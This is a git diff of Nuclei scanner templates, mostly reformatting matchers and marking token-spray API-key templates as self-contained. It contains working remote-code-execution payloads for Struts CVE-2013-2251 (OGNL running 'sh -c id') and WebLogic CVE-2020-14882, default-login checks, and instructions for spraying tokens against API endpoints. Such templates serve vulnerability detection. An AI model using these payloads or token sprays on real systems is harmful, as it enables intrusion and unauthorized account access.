diff --git a/.nuclei-ignore b/.nuclei-ignore
index 26f85418fb..bef00b4d7a 100644
--- a/.nuclei-ignore
+++ b/.nuclei-ignore
@@ -14,8 +14,3 @@ tags:
# files is a list of files to ignore template execution
# unless asked for by the user.
-
-files:
- - "token-spray/"
-
-
diff --git a/cves/2013/CVE-2013-2251.yaml b/cves/2013/CVE-2013-2251.yaml
index d322c7908c..67158a4a69 100644
--- a/cves/2013/CVE-2013-2251.yaml
+++ b/cves/2013/CVE-2013-2251.yaml
@@ -11,25 +11,19 @@ info:
requests:
- raw:
- |
- GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+ GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: {{Hostname}}
- Connection: close
Accept: */*
- Accept-Language: en
- |
- GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+ GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: {{Hostname}}
- Connection: close
Accept: */*
- Accept-Language: en
- |
- GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+ GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: {{Hostname}}
- Connection: close
Accept: */*
- Accept-Language: en
payloads:
params:
@@ -40,11 +34,12 @@ requests:
matchers-condition: and
matchers:
- type: status
+ condition: or
status:
- 200
- 400
- condition: or
+
- type: regex
+ part: body
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- part: body
diff --git a/cves/2017/CVE-2017-17562.yaml b/cves/2017/CVE-2017-17562.yaml
index 0f87ecde9f..7560cc422d 100644
--- a/cves/2017/CVE-2017-17562.yaml
+++ b/cves/2017/CVE-2017-17562.yaml
@@ -91,15 +91,16 @@ requests:
- webviewer
- welcome
- attack: sniper
stop-at-first-match: true
matchers-condition: and
matchers:
+
- type: status
status:
- 200
+
- type: word
+ condition: and
words:
- "environment variable"
- - "display library search paths"
- condition: and
+ - "display library search paths"
\ No newline at end of file
diff --git a/cves/2019/CVE-2019-17382.yaml b/cves/2019/CVE-2019-17382.yaml
index 163e4ead10..24cfb039e5 100644
--- a/cves/2019/CVE-2019-17382.yaml
+++ b/cves/2019/CVE-2019-17382.yaml
@@ -22,14 +22,16 @@ requests:
payloads:
ids: helpers/wordlists/numbers.txt
- attack: sniper
+
threads: 50
stop-at-first-match: true
matchers-condition: and
matchers:
+
- type: status
status:
- 200
+
- type: word
words:
- "
Dashboard"
diff --git a/cves/2020/CVE-2020-14882.yaml b/cves/2020/CVE-2020-14882.yaml
index 382be20081..e36159a674 100644
--- a/cves/2020/CVE-2020-14882.yaml
+++ b/cves/2020/CVE-2020-14882.yaml
@@ -28,8 +28,7 @@ requests:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
- cmd: §exec§
- Connection: close
+ cmd: {{exec}}
Content-Type: application/x-www-form-urlencoded; charset=utf-8
_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
@@ -41,12 +40,12 @@ requests:
matchers-condition: and
matchers:
+
- type: regex
+ condition: or
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
- condition: or
- part: body
- type: status
status:
diff --git a/cves/2020/CVE-2020-7961.yaml b/cves/2020/CVE-2020-7961.yaml
index dd62e8fa68..80017aa104 100644
--- a/cves/2020/CVE-2020-7961.yaml
+++ b/cves/2020/CVE-2020-7961.yaml
@@ -31,11 +31,12 @@ requests:
command:
- "systeminfo" # Windows
- "lsb_release -a" # Linux
- attack: sniper
matchers-condition: and
matchers:
+
- type: regex
+ condition: or
regex:
- "OS Name:.*Microsoft Windows"
- "Distributor ID:"
diff --git a/cves/2020/CVE-2020-9757.yaml b/cves/2020/CVE-2020-9757.yaml
index fac0befccd..20bf91e5e0 100644
--- a/cves/2020/CVE-2020-9757.yaml
+++ b/cves/2020/CVE-2020-9757.yaml
@@ -22,6 +22,8 @@ requests:
path:
- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
+
+ skip-variables-check: true
matchers-condition: and
matchers:
- type: status
diff --git a/default-logins/grafana/grafana-default-login.yaml b/default-logins/grafana/grafana-default-login.yaml
index 30f759b9cb..125010431f 100644
--- a/default-logins/grafana/grafana-default-login.yaml
+++ b/default-logins/grafana/grafana-default-login.yaml
@@ -1,4 +1,5 @@
id: grafana-default-login
+
info:
name: Grafana Default Login
author: pdteam
@@ -26,7 +27,6 @@ requests:
username:
- admin
- admin
-
password:
- prom-operator
- admin
@@ -35,16 +35,14 @@ requests:
matchers:
- type: word
words:
- - grafana_session
+ - "grafana_session" # Login cookie
part: header
- # Check for 'grafana_session' cookie on valid login in the response header.
- type: word
- words:
- - Logged in
part: body
- # Check for valid string on valid login.
+ words:
+ - "Logged in" # Logged in keyword
- type: status
status:
- - 200
+ - 200
\ No newline at end of file
diff --git a/default-logins/hp/hp-switch-default-login.yaml b/default-logins/hp/hp-switch-default-login.yaml
index aa854686cb..beada2b11a 100644
--- a/default-logins/hp/hp-switch-default-login.yaml
+++ b/default-logins/hp/hp-switch-default-login.yaml
@@ -20,15 +20,13 @@ requests:
username:
- admin
- attack: sniper
-
matchers-condition: and
matchers:
- type: word
+ condition: and
words:
- '"redirect": "/htdocs/pages/main/main.lsp"'
- '"error": ""'
- condition: and
- type: status
status:
diff --git a/default-logins/idemia/idemia-biometrics-default-login.yaml b/default-logins/idemia/idemia-biometrics-default-login.yaml
index 9c7aa9d12a..959da5926b 100644
--- a/default-logins/idemia/idemia-biometrics-default-login.yaml
+++ b/default-logins/idemia/idemia-biometrics-default-login.yaml
@@ -18,22 +18,21 @@ requests:
payloads:
password:
- - 12345
- attack: sniper
+ - "12345"
matchers-condition: and
matchers:
- type: word
+ condition: and
words:
- "session_id="
- "resource"
- condition: and
- type: word
- words:
- - "Invalid Password"
part: body
negative: true
+ words:
+ - "Invalid Password"
- type: status
status:
diff --git a/fuzzing/adminer-panel-fuzz.yaml b/fuzzing/adminer-panel-fuzz.yaml
index ad8ba27848..0676457b68 100644
--- a/fuzzing/adminer-panel-fuzz.yaml
+++ b/fuzzing/adminer-panel-fuzz.yaml
@@ -23,17 +23,17 @@ requests:
payloads:
path: helpers/wordlists/adminer-paths.txt
- attack: sniper
threads: 50
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
+ condition: and
words:
- "- Adminer"
- - "partial(verifyVersion, "
- condition: and
+ - "partial(verifyVersion"
+
- type: status
status:
- 200
diff --git a/fuzzing/mdb-database-file.yaml b/fuzzing/mdb-database-file.yaml
index 2fe78b348f..4eab49564e 100644
--- a/fuzzing/mdb-database-file.yaml
+++ b/fuzzing/mdb-database-file.yaml
@@ -14,12 +14,10 @@ requests:
Host: {{Hostname}}
Origin: {{BaseURL}}
Accept-Language: en-US,en;q=0.9
- Connection: close
payloads:
mdbPaths: helpers/wordlists/mdb-paths.txt
- attack: sniper
threads: 50
max-size: 500 # Size in bytes - Max Size to read from server response
stop-at-first-match: true
diff --git a/fuzzing/prestashop-module-fuzz.yaml b/fuzzing/prestashop-module-fuzz.yaml
index 63fd397d99..11072add7c 100644
--- a/fuzzing/prestashop-module-fuzz.yaml
+++ b/fuzzing/prestashop-module-fuzz.yaml
@@ -1,4 +1,5 @@
id: prestashop-module-fuzz
+
info:
name: Prestashop Modules Enumeration
author: meme-lord
@@ -16,19 +17,18 @@ requests:
payloads:
path: helpers/wordlists/prestashop-modules.txt
- attack: sniper
- threads: 50
+ threads: 50
matchers-condition: and
matchers:
- type: word
+ condition: and
words:
- ""
- ""
- ""
- ""
- ""
- condition: and
- type: status
status:
diff --git a/fuzzing/wordpress-plugins-detect.yaml b/fuzzing/wordpress-plugins-detect.yaml
index 1af3f07971..c9f21082e4 100644
--- a/fuzzing/wordpress-plugins-detect.yaml
+++ b/fuzzing/wordpress-plugins-detect.yaml
@@ -1,4 +1,5 @@
id: wordpress-plugins-detect
+
info:
name: WordPress Plugins Detection
author: 0xcrypto
@@ -13,11 +14,8 @@ requests:
payloads:
pluginSlug: helpers/wordlists/wordpress-plugins.txt
- attack: sniper
- threads: 50
- redirects: true
- max-redirects: 1
+ threads: 50
matchers-condition: and
matchers:
- type: status
diff --git a/fuzzing/wordpress-themes-detect.yaml b/fuzzing/wordpress-themes-detect.yaml
index 9343703599..dd98af2fe3 100644
--- a/fuzzing/wordpress-themes-detect.yaml
+++ b/fuzzing/wordpress-themes-detect.yaml
@@ -1,4 +1,5 @@
id: wordpress-themes-detect
+
info:
name: WordPress Theme Detection
author: 0xcrypto
@@ -13,11 +14,8 @@ requests:
payloads:
themeSlug: helpers/wordlists/wordpress-themes.txt
- attack: sniper
- threads: 50
- redirects: true
- max-redirects: 1
+ threads: 50
matchers-condition: and
matchers:
- type: status
diff --git a/miscellaneous/ntlm-directories.yaml b/miscellaneous/ntlm-directories.yaml
index 1733d4647d..a36f3f1287 100644
--- a/miscellaneous/ntlm-directories.yaml
+++ b/miscellaneous/ntlm-directories.yaml
@@ -14,6 +14,7 @@ requests:
Host: {{Hostname}}
Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ threads: 50
payloads:
path:
- /
@@ -63,9 +64,6 @@ requests:
- /webticket/webticketservice.svcabs/
- /adfs/services/trust/2005/windowstransport
- attack: sniper
- threads: 50
-
matchers-condition: and
matchers:
- type: dsl
diff --git a/token-spray/README.md b/token-spray/README.md
index 24081b4662..4c463e5694 100644
--- a/token-spray/README.md
+++ b/token-spray/README.md
@@ -1,15 +1,19 @@
## About
+
This directory holds templates that have static API URL endpoints. Use these to test an API token against many API service endpoints. By providing token input using flag, Nuclei will test the token against all known API endpoints within the API templates, and return any successful results. By incorporating API checks as Nuclei Templates, users can test API keys that have no context (i.e., API keys that do not indicate for which API endpoint they are meant).
## Usage
-You do not need to specify an input URL to test a token against these API endpoints, as the API endpoints have static URLs. However, Nuclei requires an input (specified via `-u` for individual URLs or `-l` for a file containing URLs). Because of this requirement, we simply pass in `-u "null"`. Each template in the `token-spray` directory assumes the input API token will be provided using CLI `var` flag.
-```bash
-# Run Nuclei specifying all the api templates:
+token-spray are **self-contained** template and does not requires URLs as input as the API endpoints have static URLs predefined in the template. Each template in the `token-spray` directory assumes the input API token/s will be provided using CLI `var` flag.
-nuclei -u null -t token-spray/ -var token=thisIsMySecretTokenThatIWantToTest
+```console
+# Running token-spray templates against a single token to test
+nuclei -t token-spray/ -var token=random-token-to-test
+
+# Running token-spray templates against a file containing multiple new line delimited tokens
+nuclei -t token-spray/ -var token=file_with_tokens.txt
```
## Credits
-These API testing templates were inspired by the [streaak/keyhacks](https://github.com/streaak/keyhacks) repository. The Bishop Fox [Continuous Attack Surface Testing (CAST)](https://www.bishopfox.com/continuous-attack-surface-testing/how-cast-works/) team created additional API templates for testing API keys uncovered during investigations. You are welcome to add new templates based on the existing format to cover more APIs.
+These API testing templates were inspired by the [streaak/keyhacks](https://github.com/streaak/keyhacks) repository. The Bishop Fox [Continuous Attack Surface Testing (CAST)](https://www.bishopfox.com/continuous-attack-surface-testing/how-cast-works/) team created additional API templates for testing API keys uncovered during investigations. You are welcome to add new templates based on the existing format to cover more APIs.
\ No newline at end of file
diff --git a/token-spray/asana.yaml b/token-spray/asana.yaml
index 9282cf7a4d..482dc7bdd9 100644
--- a/token-spray/asana.yaml
+++ b/token-spray/asana.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,asana
+self-contained: true
requests:
- method: GET
path:
@@ -16,6 +17,6 @@ requests:
matchers:
- type: status
+ negative: true
status:
- 401
- negative: true
diff --git a/token-spray/bingmaps.yaml b/token-spray/bingmaps.yaml
index 0892d85b9f..17c0d216aa 100644
--- a/token-spray/bingmaps.yaml
+++ b/token-spray/bingmaps.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,bing,maps,bingmaps
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/bitly.yaml b/token-spray/bitly.yaml
index 57e1d5d3d4..01c70c7974 100644
--- a/token-spray/bitly.yaml
+++ b/token-spray/bitly.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,bitly
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/buildkite.yaml b/token-spray/buildkite.yaml
index 77e8e1e677..350b8edd1b 100644
--- a/token-spray/buildkite.yaml
+++ b/token-spray/buildkite.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,buildkite
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/buttercms.yaml b/token-spray/buttercms.yaml
index 229da7b1d5..15d86d53fe 100644
--- a/token-spray/buttercms.yaml
+++ b/token-spray/buttercms.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,buttercms
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/calendly.yaml b/token-spray/calendly.yaml
index 1d8289fb37..b54a5c8df8 100644
--- a/token-spray/calendly.yaml
+++ b/token-spray/calendly.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,calendly
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/circleci.yaml b/token-spray/circleci.yaml
index 281d22b656..d519f10651 100644
--- a/token-spray/circleci.yaml
+++ b/token-spray/circleci.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,circle,circleci
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/deviantart.yaml b/token-spray/deviantart.yaml
index 403b97a349..ab73e7ea0d 100644
--- a/token-spray/deviantart.yaml
+++ b/token-spray/deviantart.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,deviantart
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/dropbox.yaml b/token-spray/dropbox.yaml
index 29679e2b2f..339837160e 100644
--- a/token-spray/dropbox.yaml
+++ b/token-spray/dropbox.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,dropbox
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/github.yaml b/token-spray/github.yaml
index c6d1d560de..4722dfe6d3 100644
--- a/token-spray/github.yaml
+++ b/token-spray/github.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,github
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-autocomplete.yaml b/token-spray/google-autocomplete.yaml
index b3c459082e..ae81be1c96 100644
--- a/token-spray/google-autocomplete.yaml
+++ b/token-spray/google-autocomplete.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,autocomplete
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-customsearch.yaml b/token-spray/google-customsearch.yaml
index 0be1636139..61af504633 100644
--- a/token-spray/google-customsearch.yaml
+++ b/token-spray/google-customsearch.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,search
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-directions.yaml b/token-spray/google-directions.yaml
index a6b8cea46b..97aaf95d6c 100644
--- a/token-spray/google-directions.yaml
+++ b/token-spray/google-directions.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,directions
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-elevation.yaml b/token-spray/google-elevation.yaml
index 480bc31fb7..31b68e98de 100644
--- a/token-spray/google-elevation.yaml
+++ b/token-spray/google-elevation.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,elevation
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-fcm.yaml b/token-spray/google-fcm.yaml
index aba6f43579..8ca7a1653f 100644
--- a/token-spray/google-fcm.yaml
+++ b/token-spray/google-fcm.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,fcm,firebase,cloud,messaging
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/google-findplacefromtext.yaml b/token-spray/google-findplacefromtext.yaml
index dcecba34b2..1fe4c209e8 100644
--- a/token-spray/google-findplacefromtext.yaml
+++ b/token-spray/google-findplacefromtext.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,find,text
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-gedistancematrix.yaml b/token-spray/google-gedistancematrix.yaml
index 62795ea15e..42987ebfe1 100644
--- a/token-spray/google-gedistancematrix.yaml
+++ b/token-spray/google-gedistancematrix.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,distance,matrix
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-geocode.yaml b/token-spray/google-geocode.yaml
index 91826af391..dbba7431d5 100644
--- a/token-spray/google-geocode.yaml
+++ b/token-spray/google-geocode.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,geocode
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-geolocation.yaml b/token-spray/google-geolocation.yaml
index 88d1ce9ffc..a322b89967 100644
--- a/token-spray/google-geolocation.yaml
+++ b/token-spray/google-geolocation.yaml
@@ -6,19 +6,21 @@ info:
severity: info
tags: token-spray,google,geolocation
+self-contained: true
requests:
- method: GET
path:
- "https://www.googleapis.com/geolocation/v1/geolocate?key={{token}}"
- matchers-condition: and
+ matchers-condition: and
matchers:
- type: word
part: body
+ negative: true
words:
- 'error'
- negative: true
+
- type: status
+ negative: true
status:
- 404
- negative: true
diff --git a/token-spray/google-mapsembed.yaml b/token-spray/google-mapsembed.yaml
index d7b47585f1..f8689ae282 100644
--- a/token-spray/google-mapsembed.yaml
+++ b/token-spray/google-mapsembed.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,maps,embed
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-mapsembedadvanced.yaml b/token-spray/google-mapsembedadvanced.yaml
index 5f8e4d2721..171ff4b005 100644
--- a/token-spray/google-mapsembedadvanced.yaml
+++ b/token-spray/google-mapsembedadvanced.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,maps,embed
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-nearbysearch.yaml b/token-spray/google-nearbysearch.yaml
index 752d9d9814..db0dda7fab 100644
--- a/token-spray/google-nearbysearch.yaml
+++ b/token-spray/google-nearbysearch.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,search,nearby
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-nearestroads.yaml b/token-spray/google-nearestroads.yaml
index e804422ff0..9551876122 100644
--- a/token-spray/google-nearestroads.yaml
+++ b/token-spray/google-nearestroads.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,roads
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-placedetails.yaml b/token-spray/google-placedetails.yaml
index 30ca3e6184..2f6cf7d464 100644
--- a/token-spray/google-placedetails.yaml
+++ b/token-spray/google-placedetails.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,place,details
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-placesphoto.yaml b/token-spray/google-placesphoto.yaml
index 82f33c2e1d..6b6b3cd539 100644
--- a/token-spray/google-placesphoto.yaml
+++ b/token-spray/google-placesphoto.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,places,photo
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-playablelocations.yaml b/token-spray/google-playablelocations.yaml
index 2e38d6316a..6dce339499 100644
--- a/token-spray/google-playablelocations.yaml
+++ b/token-spray/google-playablelocations.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,playable,locations
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-routetotraveled.yaml b/token-spray/google-routetotraveled.yaml
index c97cfcee59..2c0853eda0 100644
--- a/token-spray/google-routetotraveled.yaml
+++ b/token-spray/google-routetotraveled.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,route
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-speedlimit.yaml b/token-spray/google-speedlimit.yaml
index 5eec3d0a53..e5e8290a6a 100644
--- a/token-spray/google-speedlimit.yaml
+++ b/token-spray/google-speedlimit.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,speed,limit
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-staticmaps.yaml b/token-spray/google-staticmaps.yaml
index d4a012bff2..ba4ee679ca 100644
--- a/token-spray/google-staticmaps.yaml
+++ b/token-spray/google-staticmaps.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,maps
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-streetview.yaml b/token-spray/google-streetview.yaml
index 49d043391d..d7156a7295 100644
--- a/token-spray/google-streetview.yaml
+++ b/token-spray/google-streetview.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,streetview
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/google-timezone.yaml b/token-spray/google-timezone.yaml
index 273101bcc9..40b13b61ca 100644
--- a/token-spray/google-timezone.yaml
+++ b/token-spray/google-timezone.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,timezone
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/googlet-extsearchplaces.yaml b/token-spray/googlet-extsearchplaces.yaml
index c3683703cf..290da60328 100644
--- a/token-spray/googlet-extsearchplaces.yaml
+++ b/token-spray/googlet-extsearchplaces.yaml
@@ -6,6 +6,7 @@ info:
severity: info
tags: token-spray,google,search,places,text
+self-contained: true
requests:
- method: GET
path:
@@ -14,6 +15,6 @@ requests:
matchers:
- type: word
part: body
+ negative: true
words:
- 'error_message'
- negative: true
diff --git a/token-spray/heroku.yaml b/token-spray/heroku.yaml
index 9f08e416d5..ef81ec91e8 100644
--- a/token-spray/heroku.yaml
+++ b/token-spray/heroku.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,heroku
+self-contained: true
requests:
- method: POST
path:
@@ -17,9 +18,9 @@ requests:
matchers:
- type: status
+ condition: or
status:
- 200
- 201
- 202
- 206
- condition: or
diff --git a/token-spray/hubspot.yaml b/token-spray/hubspot.yaml
index 86566864f0..da95a4b12a 100644
--- a/token-spray/hubspot.yaml
+++ b/token-spray/hubspot.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,hubspot
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/instagram.yaml b/token-spray/instagram.yaml
index 289546f452..dd851bee3e 100644
--- a/token-spray/instagram.yaml
+++ b/token-spray/instagram.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,instagram,graph
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/ipstack.yaml b/token-spray/ipstack.yaml
index f64daea02e..ac527d2a1e 100644
--- a/token-spray/ipstack.yaml
+++ b/token-spray/ipstack.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,ipstack
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/iterable.yaml b/token-spray/iterable.yaml
index 0c1f84d566..69da55de5d 100644
--- a/token-spray/iterable.yaml
+++ b/token-spray/iterable.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,iterable
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/jumpcloud.yaml b/token-spray/jumpcloud.yaml
index a885c5c780..dbf3c9ab35 100644
--- a/token-spray/jumpcloud.yaml
+++ b/token-spray/jumpcloud.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,jumpcloud
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/lokalise.yaml b/token-spray/lokalise.yaml
index 0c937b51fa..5003f25b31 100644
--- a/token-spray/lokalise.yaml
+++ b/token-spray/lokalise.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,lokalise
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/loqate.yaml b/token-spray/loqate.yaml
index d0ed434602..dcbf5b156d 100644
--- a/token-spray/loqate.yaml
+++ b/token-spray/loqate.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,loqate
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/mailchimp.yaml b/token-spray/mailchimp.yaml
index 9d7073e46c..d25870e279 100644
--- a/token-spray/mailchimp.yaml
+++ b/token-spray/mailchimp.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,mailchimp
+self-contained: true
network:
- inputs:
